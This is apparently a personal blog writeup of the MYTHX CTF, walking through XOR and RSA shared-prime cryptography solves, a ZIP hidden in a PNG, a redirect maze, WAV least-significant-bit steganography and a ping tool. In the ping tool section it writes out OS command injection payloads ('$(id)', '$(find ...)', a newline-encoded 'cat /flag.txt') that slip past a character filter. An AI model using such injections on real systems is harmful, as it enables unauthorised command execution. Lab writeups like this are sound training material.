MYTHX: AN ENDGAME PROTOCOL CTF - Writeup
Hey everyone, This is my first CTF writeup. I have done some CTFs before but never actually written any writeups, so excuse my informal writing as this is my personal blog post.
Thank you and enjoy reading….
Cryptography
XOR Known Plaintext
1
2
3
4
5
6
7
[spirit@archlinux mythx]$ nc 212.2.250.33 31485
XOR Encryption Service
We encrypted our secret message with military-grade XOR encryption.
ciphertext_hex = 5b2f9578dc40348110d55d389c39c24a3e9710cc5d22ac7ec65e39ca29c40d26
Good luck decrypting it!
Commands: ENCRYPT <hex>, QUIT
Here we got the ciphertext_hex and the algorithm, which uses the same key to XOR every plaintext. To get the key value we have to send a block of all zeros the same length as the ciphertext:
1
ENCRYPT 0000000000000000000000000000000000000000000000000000000000000000
Then we get the value of the KEY. Then we just have to XOR the KEY with the ciphertext_hex:
plaintext = ciphertext ⊕ key
Use encryptdecrypt.tools or cyberchef.org to get the flag.
RSA Common Factor
1
2
3
4
5
6
7
8
[spirit@archlinux mythx]$ nc 212.2.250.33 31546
RSA Challenge — Two keys, one secret
n1 = 0x7e870a4b889c19900c4868a8cbe9b5055f0d5684d013a11ecd931e41a20d4e59be34796ad9ec0e4b1c41a070779aa7d39392b48cdf72eea87892d13be87824ad77bfed58bb175c97d4e4e0481b76c1ebbf7dfee03523537ec604110de2fdd336e66b1fc570b9eca543562c6bbd39e90cc9c83949950ed327bbc70f987bb8f3a3
e1 = 65537
n2 = 0x726d514f3c60075d6f10133554b670c1d5776134e05437782a7a708ae78b68639d46a9c45b5942995254f1294e0f8d6ba587deb6d5a3c40e0ad6670e7203be40688d60d8a7b2f8bda6add4d99db7d27df57a7d4af0bcb4f6ae2f9413d7652b9a61f0adc4959253b65f75c5e6e1ec0b71a2283a3b6bc3c3fd70f06023c6f331e7
e2 = 65537
ciphertext = 0x3409030a583eccba7e1401071e55fa60c488f2f7921de3446569d55b1d6e50de11a646f0ffbcc7c19fbd06867389ae6a9bb004b1d5b96c2ada4dee1ee0c60bee73fc7b92c4eaef1f65340761532304a047ce7b1a5f3427e25124a53c30c603046a32b99d1cf526a02a930af774133a4bba91a2132df8009d9b7ef611376f37ea
Decrypt the flag.
We are given that they are using shared primes:
n1 = p * q1
n2 = p * q2
Therefore gcd(n1, n2) = p
1
2
3
4
5
6
7
from math import gcd
n1 = int("7e870a4b889c19900c4868a8cbe9b5055f0d5684d013a11ecd931e41a20d4e59be34796ad9ec0e4b1c41a070779aa7d39392b48cdf72eea87892d13be87824ad77bfed58bb175c97d4e4e0481b76c1ebbf7dfee03523537ec604110de2fdd336e66b1fc570b9eca543562c6bbd39e90cc9c83949950ed327bbc70f987bb8f3a3", 16)
n2 = int("726d514f3c60075d6f10133554b670c1d5776134e05437782a7a708ae78b68639d46a9c45b5942995254f1294e0f8d6ba587deb6d5a3c40e0ad6670e7203be40688d60d8a7b2f8bda6add4d99db7d27df57a7d4af0bcb4f6ae2f9413d7652b9a61f0adc4959253b65f75c5e6e1ec0b71a2283a3b6bc3c3fd70f06023c6f331e7", 16)
p = gcd(n1, n2)
print("p =", p)
Complete Python code for solving:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
## Compute GCD
from math import gcd
n1 = int("7e870a4b889c19900c4868a8cbe9b5055f0d5684d013a11ecd931e41a20d4e59be34796ad9ec0e4b1c41a070779aa7d39392b48cdf72eea87892d13be87824ad77bfed58bb175c97d4e4e0481b76c1ebbf7dfee03523537ec604110de2fdd336e66b1fc570b9eca543562c6bbd39e90cc9c83949950ed327bbc70f987bb8f3a3", 16)
n2 = int("726d514f3c60075d6f10133554b670c1d5776134e05437782a7a708ae78b68639d46a9c45b5942995254f1294e0f8d6ba587deb6d5a3c40e0ad6670e7203be40688d60d8a7b2f8bda6add4d99db7d27df57a7d4af0bcb4f6ae2f9413d7652b9a61f0adc4959253b65f75c5e6e1ec0b71a2283a3b6bc3c3fd70f06023c6f331e7", 16)
p = gcd(n1, n2)
print("p =", p)
## Recover q
q1 = n1 // p
## Compute private key
e = 65537
phi = (p - 1) * (q1 - 1)
d = pow(e, -1, phi)
## Decrypt ciphertext
c = int("3409030a583eccba7e1401071e55fa60c488f2f7921de3446569d55b1d6e50de11a646f0ffbcc7c19fbd06867389ae6a9bb004b1d5b96c2ada4dee1ee0c60bee73fc7b92c4eaef1f65340761532304a047ce7b1a5f3427e25124a53c30c603046a32b99d1cf526a02a930af774133a4bba91a2132df8009d9b7ef611376f37ea", 16)
m = pow(c, d, n1)
# Convert to bytes
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(flag)
RSA completely breaks if two moduli share a prime:
- GCD reveals the shared prime instantly
- No brute force needed
1
2
3
4
5
6
7
8
9
10
(venv) [spirit@archlinux rsacommonfactor]$ python3 solve.py
[+] p found: 12572875077367186704735077573535227403192141796822752158471799682324640181504885170215242914740349156995517595514640649547505570363388043623610992784411651
[+] q found: 7066850829407554063056610368489813768737443204087258911948976889051688982667585782793902509464286106865865632932997443297332056660173206716831099113109473
[+] d computed
[+] Raw plaintext:
b'ctf7{reused_prime_disaster_81e9db4c}'
[+] Decoded flag:
ctf7{reused_prime_disaster_81e9db4c}
Forensics
Hidden ZIP in PNG
In this challenge I got a .png file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[spirit@archlinux hiddenzip]$ exiftool challenge.png
ExifTool Version Number : 13.50
File Name : challenge.png
Directory : .
File Size : 21 kB
File Modification Date/Time : 2026:03:28 22:10:36+05:30
File Access Date/Time : 2026:03:30 09:11:44+05:30
File Inode Change Date/Time : 2026:03:28 22:14:59+05:30
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 100
Image Height : 100
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Comment : password=ctf72026
Warning : [minor] Trailer data after PNG IEND chunk
Image Size : 100x100
Megapixels : 0.010
exiftool revealed the password to the ZIP file: password=ctf72026
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[spirit@archlinux hiddenzip]$ binwalk challenge.png
/home/spirit/Desktop/mythx/hiddenzip/challenge.png
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0 0x0 PNG image, total size: 21236 bytes
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Analyzed 1 file for 85 file signatures (187 magic patterns) in 4.0 milliseconds
[spirit@archlinux hiddenzip]$ hexdump -C challenge.png | grep "50 4b"
000052f0 ae 42 60 82 50 4b 03 04 14 00 01 00 63 00 12 85 |.B`.PK......c...|
00005360 50 4b 01 02 14 03 14 00 01 00 63 00 12 85 7c 5c |PK........c...|\|
000053a0 00 50 4b 05 06 00 00 00 00 01 00 01 00 41 00 00 |.PK..........A..|
[spirit@archlinux hiddenzip]$ ls
challenge.png generate_artifact.py server.py
1
2
3
4
5
6
7
8
# Extract the ZIP starting at byte 21236
dd if=challenge.png of=hidden.zip bs=1 skip=21236
# Now unzip with the password you found
unzip -P ctf72026 hidden.zip
# Read the flag
cat flag.txt
1
2
[spirit@archlinux hiddenzip]$ cat flag.txt
ctf7{zip_in_hidden_0e8f0b22}
We have successfully found the flag.
NOTE: I tried using binwalk but was unable to extract using it.
Web
Redirect Maze
I don’t have a screenshot of the challenge but here is the workflow:
- Step 1: Open Burp Suite
- Step 2: Open the challenge URL given
- Step 3: Open the Proxy tab and check under Proxy History to investigate the redirects
- Step 4: In each redirect there is a part of the flag — across 5 redirects we just have to append each part together starting from the first redirect
- Step 5: Submit the flag that was found
I think this is the easiest challenge of them all.
Ping Tool
I used Burp Suite for this challenge but I only have the curl output, so…
First I tried using the IP 8.8.8.8 to check the request. It showed that it adds ip=8.8.8.8 and also gives the normal expected output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[spirit@archlinux pingtool]$ curl 'http://chall-513f92b1.evt-246.glabs.ctf7.com/ping' \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://chall-513f92b1.evt-246.glabs.ctf7.com' \
-H 'Connection: keep-alive' \
-H 'Referer: http://chall-513f92b1.evt-246.glabs.ctf7.com/' \
-H 'Cookie: _ga_2BLJE20B7V=GS2.1.s1774717706$o3$g1$t1774718273$j47$l0$h0; _ga=GA1.1.273546918.1774688942; _ga_33L5X5T0XC=GS2.1.s1774790742$o9$g1$t1774793790$j60$l0$h0' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'DNT: 1' \
-H 'Sec-GPC: 1' \
-H 'Priority: u=0, i' \
--data-raw 'ip=8.8.8.8'
<!DOCTYPE html>
<html>
<body>
<div class="container">
<h1>$ ping_tool v2.1</h1>
<p>Enter an IP address to ping:</p>
<form method="POST" action="/ping">
<input type="text" name="ip" placeholder="e.g. 8.8.8.8" required>
<button type="submit">Ping</button>
</form>
<p class="waf-notice">WAF enabled: dangerous characters are blocked for your safety.</p>
<h3>Result:</h3>
<pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=2.62 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.616/2.616/2.616/0.000 ms
</pre>
</div>
</body>
</html>
1
;, &&, | are blocked — but bypass techniques will work.
Then I tried modifying the request by adding something like ip=127.0.0.1$(id). That gave me the output as localhost and root, which means we can run commands with root privileges.
I modified the request a little to find and reveal the flag:
1
ip=127.0.0.1$(find / -name "*flag*" 2>/dev/null)
I used the above request to find the flag location, and then modified the curl request to read it:
1
--data-raw 'ip=127.0.0.1%0acat /flag.txt'
With this we have successfully found the flag.
Steganography
Suspicious Transmission
Challenge Overview:
- WAV File: Contains a 2-second 440Hz sine wave (A4 note) at 8000 Hz sample rate
- Hidden Data: Flag embedded in the LSB of each 16-bit audio sample
- Encoding: Each character → 8 bits → embedded sequentially, terminated by a null byte (8 zero bits)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
import wave
import struct
def extract_lsb(wav_file):
"""Extract LSB from WAV samples and decode to string."""
with wave.open(wav_file, 'r') as wf:
num_samples = wf.getnframes()
raw_data = wf.readframes(num_samples)
samples = struct.unpack(f"<{num_samples}h", raw_data)
# Extract LSBs
bits = []
for sample in samples:
bits.append(sample & 1)
# Convert bits to bytes
message = []
for i in range(0, len(bits), 8):
byte_bits = bits[i:i+8]
if len(byte_bits) < 8:
break
byte_value = 0
for bit in byte_bits:
byte_value = (byte_value << 1) | bit
if byte_value == 0: # Null terminator
break
message.append(chr(byte_value))
return ''.join(message)
if __name__ == "__main__":
flag = extract_lsb("challenge.wav")
print(f"Flag: {flag}")
We have successfully found the flag.
1
2
(venv) [spirit@archlinux suspicioustransmissions]$ python3 solve.py
Flag: ctf7{transmission_succesfull_tha_kya_6d95e6fe}